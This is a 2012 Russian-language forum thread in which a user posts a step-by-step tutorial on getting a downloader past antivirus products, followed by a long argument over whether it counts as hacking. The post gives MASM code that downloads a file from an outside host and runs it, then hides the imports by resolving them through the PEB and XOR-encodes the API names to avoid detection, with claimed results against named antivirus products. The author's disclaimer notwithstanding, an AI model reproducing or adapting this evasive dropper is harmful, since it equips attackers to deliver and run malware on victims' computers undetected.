• Страница 1 из 3
  • 1
  • 2
  • 3
  • »
Архив - только для чтения
Модератор форума: andycrowz  
[Разработка софта] Обход антивируса
data777
Доброго времени суток, уважаемые юзеры портала WoW JP. С сего дня появилась на свет новый пак тем, я их включил в мою новую серию [Разработка софта]. Каждые 3-4 дня будут появляться новые темы. Про старый пак [Халява] я не забыл (он включал в себя 6 тем с раздачами аккаунтов и дедикал серверов), его я продолжу позже.
Моя первая тема из этой линейки посвящена обходу современных антивирусных систем.

*Для модераторов: содержание этой темы ни как не будет относиться к хакерству! Я здесь на примере покажу уязвимости современных антивирусов, я никого не призываю к использованию данного материала в своих корыстных целях, и я не хочу чтобы этот материал был использован для написания вирусов!*

И так, это было лирическое отступление. Перейдем к самой теме.
Писал я на языке Assembler т.к. в нем исходный код будет на порядок меньше, чем, например, в Си (С++)
Сначала я написал простейшую программу для автоматической загрузки и открытия любого exe файла (или любого другого формата)
Code
.386
.model flat, stdcall
option casemap :none
     
include \masm32\include\windows.inc
include \masm32\macros\macros.asm
uselib kernel32, user32, urlmon, shell32
     
     
.code
start PROC
    invoke URLDownloadToFile, 0, chr$("http://rghost.ru/41480046"), chr$("hello_world.cpp"), 0, 0
     
    invoke ShellExecute, 0, chr$("open"), chr$("hello_world.cpp"), 0, 0, SW_SHOWNORMAL
     
    invoke ExitProcess, 0
start ENDP
end start

Сразу после сборки антивирус удалил эту программу из-за функций URLDownloadToFileA и ShellExecuteA. В таком виде программа ни как не защищена, поэтому сразу при прочтении файла антивирус помечает его как Trojan.Downloader.

Далее, чтоб избежать это, мы скроем имена этих функций из таблицы импорта, дабы антивирус искал их имена через PEB.
PEB - это недокументированная структура Windows, которая выдается каждому процессу системы. Так же мы будем использовать макросы, которые легко делаются в сие языке. Наша программа принимает такой вид
Code
.386
.model flat, stdcall
option casemap :none
     
include \masm32\include\windows.inc
include \masm32\macros\macros.asm
include no_import.asm
uselib kernel32, user32
     
     
.code
start PROC
    noimport_invoke_load chr$("URLDownloadToFileA"), chr$("urlmon.dll"), 0, chr$("http://rghost.ru/41480046?12"), chr$("hello_world.cpp"), 0, 0
     
    noimport_invoke_load chr$("ShellExecuteA"), chr$("shell32.dll"), 0, chr$("open"), chr$("hello_world.cpp"), 0, 0, SW_SHOWNORMAL
     
    invoke ExitProcess, 0
start ENDP
end start

Объясняю: через PEB мы ищем адрес ядра (kernel32.dll), парсим его таблицу экспорта до тех пор, пока не найдем функцию GetProcAddress, а с ее помощью получаем адрес функции LoadLibraryA. Этих двух функций нам вполне достаточно для получения адресов всех необходимых нам функций в любых библиотеках. В коде мы это реализовали с помощью макросов и функции noimport_invoke_load
Code
include \masm32\include\windows.inc
include \masm32\macros\macros.asm
include no_import.asm
uselib kernel32, user32

Теперь у программы всего один импорт - ExitProcess. После этого действия такие антивирусы, как Avast и NOD32 перестали считать данное приложение вирусом и дали ему открыться. Но антивирусы Dr.Web, Kaspersky и Norton продолжали определять его как троян. Почему? В коде присутствуют строки URLDownloadToFileA и ShellExecuteA и поэтому они уже распознают программу как вирус.

Теперь, чтобы покорить остальные антивирусы, я решил зашифровать сие функции. И для этого я буду использовать WinAPI функции, дабы они мало известны. Наша программа принимает следующий вид
Code
.386
.model flat, stdcall
option casemap :none
     
include \masm32\include\windows.inc
include \masm32\macros\macros.asm
include no_import.asm
uselib kernel32, user32
     
     
.code
string_coder PROC data:DWORD
LOCAL buf[16]:BYTE
     
    invoke lstrlen, data
    mov esi, data
    mov edi, eax
     
    next_sym:
    .if edi > 0
      invoke SetLastError,0
      invoke QueryDosDevice, chr$("C:"), addr buf, 5
     
      .if eax == 0
        invoke GetLastError
        and al,0Fh
        dec al
        xor byte ptr [esi],al
        inc esi
        dec edi
        jmp next_sym
      .endif
    .endif
     
    mov eax, data
ret
string_coder ENDP
     
start PROC
    LOCAL funcname:DWORD
     
    noimport_call_prepare
     
.data
fname db "\[EMf~gefhm]fO`elH",0
.code
     
    mov funcname, FUNC(string_coder,offset fname)
    noimport_invoke_load funcname, chr$("urlmon.dll"), 0, chr$("http://http://rghost.ru/41480046?12"), chr$("hello_world.cpp"), 0, 0
     
    mov funcname, FUNC(string_coder,chr$("ZaleeLqlj|}lH"))
    noimport_invoke_load funcname, chr$("shell32.dll"), 0, chr$("open"), chr$("hello_world.cpp"), 0, 0, SW_SHOWNORMAL
     
     
    invoke ExitProcess, 0
start ENDP
end start

Теперь по порядку. Добавилась процедура string_coder, принимающая единственный параметр - указатель на строку, которую необходимо расшифровать или зашифровать. Так как я использую операцию xor для шифрования, функция обратима: прогнали ей один раз строку - получили зашифрованную, прогнали второй - расшифровали. Тут все дело в том, что я предал функции вполне "легальные" параметры, которые не будут замечаться антивирусами. После всех этих преобразований ни один антивирус не помещает ходу выполнения функций программы smile

На сегодня все, ждите следующих тем. Если Вы хотите чтобы я что-то конкретное сделал - пишите в этой теме. Так то я буду сам выбирать, о чем писать.
Все выше написанное я делал сам. При копировании материала указывать сайт wowjp.net
Сообщение # 1 отредактировано data777 - Суббота, 10.11.2012, 23:00
karambos
7 лет во флудилке .
Quote (data777)
Для модераторов: содержание этой темы ни как не будет относиться к хакерству! Я здесь на примере покажу уязвимости современных антивирусов, я никого не призываю к использованию данного материала в своих корыстных целях, и я не хочу чтобы этот материал был использован для написания вирусов!*

Запрещается ОБСУЖДЕНИЕ способов взлома.
Kamino>Simon
Сообщение # 2 написано 10.11.2012 в 22:17
data777
Quote (karambos)
Запрещается ОБСУЖДЕНИЕ способов взлома.

Что? Это не взлом. Докажи что это взлом. И да, взлом чего?
Сообщение # 3 написано 10.11.2012 в 22:20
Dracul2009
Скаут
Хм, полезно, сохраню себе на всякий случай)
Сообщение # 4 написано 10.11.2012 в 22:21
data777
Dracul2009, Зачем сохранять, если можно посмотреть тут? smile
NiXeR, не осилил гору текста?)
Сообщение # 5 написано 10.11.2012 в 22:23
karambos
7 лет во флудилке .
Quote (data777)
Обход антивируса


Добавлено (10.11.2012, 22:25)
---------------------------------------------
Обход защиты = взлом.
PS
  ▲
▲ ▲
Kamino>Simon
Сообщение # 6 отредактировано karambos - Суббота, 10.11.2012, 22:25
data777
karambos, это не обход защиты, а показ на примере УЯЗВИМОСТЕЙ нынешних антивирусов.
Сообщение # 7 написано 10.11.2012 в 22:27
karambos
7 лет во флудилке .
data777,
Quote
Обход антивируса
Kamino>Simon
Сообщение # 8 написано 10.11.2012 в 22:28
data777
Quote (karambos)
Обход защиты = взлом

Еще раз спрашиваю, взлом чего?

Добавлено (10.11.2012, 22:28)
---------------------------------------------

Quote (karambos)
Обход антивируса

Где ты видишь обход антивируса?
Сообщение # 9 написано 10.11.2012 в 22:28
karambos
7 лет во флудилке .
Quote (data777)
Еще раз спрашиваю, взлом чего?

Взлом компьютера .
Kamino>Simon
Сообщение # 10 написано 10.11.2012 в 22:29
chubaka_rules
Taekwondo -__-
▲
▲ ▲
▲ ▲ ▲
▲ ▲ ▲ ▲
▲ ▲ ▲ ▲ ▲
▲ ▲ ▲ ▲ ▲ ▲
▲ ▲ ▲ ▲ ▲ ▲ ▲
▲ ▲ ▲ ▲ ▲ ▲ ▲ ▲
▲ ▲ ▲ ▲ ▲ ▲ ▲ ▲ ▲'
облажал(
Научи меня быть счастливым
Сообщение # 11 отредактировано chubaka_rules - Суббота, 10.11.2012, 22:29
karambos
7 лет во флудилке .
data777, В названии темы смотри .
Kamino>Simon
Сообщение # 12 написано 10.11.2012 в 22:29
data777
Quote (karambos)
Взлом компьютера .

Что то не наблюдаю такого.. честно
Сообщение # 13 написано 10.11.2012 в 22:30
Venice
Скаут
karambos, а причем тут взлом компьютера?
Сообщение # 14 написано 10.11.2012 в 22:31
data777
karambos, в названии темы "обход" не в прямом смысле
Сообщение # 15 написано 10.11.2012 в 22:32
karambos
7 лет во флудилке .
Venice, при том , что обход антивируса = умышленные действия , а антивирус = защита компьютера , взлом защиты = нанесение вреда компьютеру.
Kamino>Simon
Сообщение # 16 написано 10.11.2012 в 22:32
Venice
Скаут
Я молчу
Сообщение # 17 написано 10.11.2012 в 22:34
data777
karambos, при открытии той программы, которую я написал, будет автоматически закачан и открыт файл hello_world.cpp который выводит на экран фразу Hello, world! теперь объясни, где вред компьютеру? Может вред то, что антивирус позволит открыть эту программу?

Думай, прежде чем ляпнуть.
Сообщение # 18 отредактировано data777 - Суббота, 10.11.2012, 22:38
karambos
7 лет во флудилке .
data777, у тебя описан способ взлома компьютера.
Kamino>Simon
Сообщение # 19 написано 10.11.2012 в 22:38
data777
Quote (karambos)
data777, у тебя описан способ взлома компьютера.

Хм, покажи мне это, я такого не вижу.
Сообщение # 20 написано 10.11.2012 в 22:39
karambos
7 лет во флудилке .
data777,
Quote (data777)
Обход антивируса
Kamino>Simon
Сообщение # 21 написано 10.11.2012 в 22:40
data777
Quote (karambos)
Обход антивируса


Quote (data777)
karambos, в названии темы "обход" не в прямом смысле
Сообщение # 22 написано 10.11.2012 в 22:41
karambos
7 лет во флудилке .
Quote (NiXeR)
Я здесь на примере покажу уязвимости современных антивирусов
Kamino>Simon
Сообщение # 23 написано 10.11.2012 в 22:42
data777
karambos, И? Я показывал уязвимости антивирусов.
Сообщение # 24 написано 10.11.2012 в 22:46
karambos
7 лет во флудилке .
Quote (data777)
Я показывал уязвимости антивирусов.

Показывал способ обхода антивируса.
Quote (karambos)
обход антивируса = умышленные действия , а антивирус = защита компьютера , взлом защиты = нанесение вреда компьютеру.
Kamino>Simon
Сообщение # 25 написано 10.11.2012 в 22:47
Venice
Скаут
karambos, А что ты так срешься? Чего добиваешься?
Сообщение # 26 написано 10.11.2012 в 22:50
karambos
7 лет во флудилке .
Quote (Venice)
так срешься

Таки мат.
Kamino>Simon
Сообщение # 27 написано 10.11.2012 в 22:50
TesCommunity
Скаут
Очень познавательная статейка, спасибо, можно сказать, "руководство по созданию криптора" :), но и здесь есть свою нюансы.
Quote (data777)
использовать WinAPI функции, дабы они мало известны

Вот они как раз в первую очередь и известны антирирусам, ибо сам антивирус по определению подразумевает мониторинг Апи функции в программе и блокировку подозрительных, "по его мнению". Ни одна программа, которая работает с сетью просто не может работать без использования внутренних апи функций работы с сетью, которые антивирус тестирует в песочнице, прежде, чем распознать в ней вирус. И кодирование функция вряд ли чем-то поможет, ибо их он может воспринять, как попытку шифровки кода, именно поэтому сейчас существует так много крипторов, антивирусы совершенствуются, алгоритмы тестирования программ тоже не стоят на месте, так что актуальность у этой статьи будет не долгой.
Сообщение # 28 написано 10.11.2012 в 22:51
data777
TesCommunity, С одной стороны да, но я не буду же стоять на месте smile По мере усовершенствования антивирусов, я буду внедрять новые технологии для актуальности этой статьи.
karambos, С тобой разговор окончу, можешь дальше тут писать одно и тоже.
Сообщение # 29 написано 10.11.2012 в 22:55
DmW1
BF3 Specialist
Quote (data777)
karambos, при открытии той программы, которую я написал, будет автоматически закачан и открыт файл hello_world.cpp который выводит на экран фразу Hello, world! теперь объясни, где вред компьютеру? Может вред то, что антивирус позволит открыть эту программу? Думай, прежде чем ляпнуть.


прикрывай уже свою лавочку....пока её высшие силы не прикрыли
Сообщение # 30 написано 10.11.2012 в 23:21
  • Страница 1 из 3
  • 1
  • 2
  • 3
  • »
Поиск: